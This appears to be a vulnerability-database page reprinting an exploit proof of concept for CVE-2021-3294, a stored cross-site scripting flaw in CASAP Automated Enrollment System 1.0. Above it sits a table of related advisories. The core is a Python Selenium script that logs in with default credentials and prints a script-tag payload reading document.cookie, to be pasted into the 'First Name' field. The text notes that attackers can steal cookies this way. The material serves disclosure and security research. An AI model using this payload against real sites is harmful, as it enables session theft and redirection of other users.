| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2021-3294 | 9 Feb 202102:39 | – | circl | |
| CASAP Automated Enrollment 跨站脚本漏洞 | 8 Feb 202100:00 | – | cnnvd | |
| CASAP Automated Enrollment Cross-Site Scripting Vulnerability | 23 Feb 202100:00 | – | cnvd | |
| CVE-2021-3294 | 8 Feb 202123:54 | – | cve | |
| CVE-2021-3294 | 8 Feb 202123:54 | – | cvelist | |
| CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS | 25 Jan 202100:00 | – | exploitdb | |
| EUVD-2021-26628 | 7 Oct 202500:30 | – | euvd | |
| CVE-2021-3294 | 9 Feb 202100:15 | – | nvd | |
| Cross site scripting | 9 Feb 202100:15 | – | prion | |
| CVE-2021-3294 | 22 May 202518:35 | – | redhatcve |
`# Exploit Title: CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS
# Author: nu11secur1ty
# Date: 02.15.2021
# Vendor: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Athor: https://www.sourcecodester.com/users/yna-ecole
# Link: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3294/CASAP.zip
# Link Original: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# CVE: CVE-2021-3294
[+] Credits: (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3294
[Exploit Program Code]
#!/usr/bin/python3
# author @nu11secur1ty
# For CVE-2021-3294
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
import os
#enter the link to the website you want to automate login.
website_link="http://localhost/Final/index.php"
#enter your login username
username="yna.ecole"
#enter your login password
password="12345"
#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="login"
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users
browser.get((website_link))
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()
exploit="nu11<script>alert(document.cookie)</script>"
print("If everything is ok, please paste this in to the Users in section in
First Name\n")
print(exploit)
except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
[Vendor]
https://www.sourcecodester.com/users/yna-ecole
[Vulnerability Type]
XSS
[CVE Reference]
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3294
[Security Issue]
CASAP Automated Enrollment System 1.0 is affected by cross-site scripting
(XSS) in users.php.
An attacker can steal a cookie to perform user redirection to a malicious
website.
[Video]
https://www.youtube.com/watch?v=_nhIZyJ8rxM
@nu11secur1ty
https://www.nu11secur1ty.com/
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation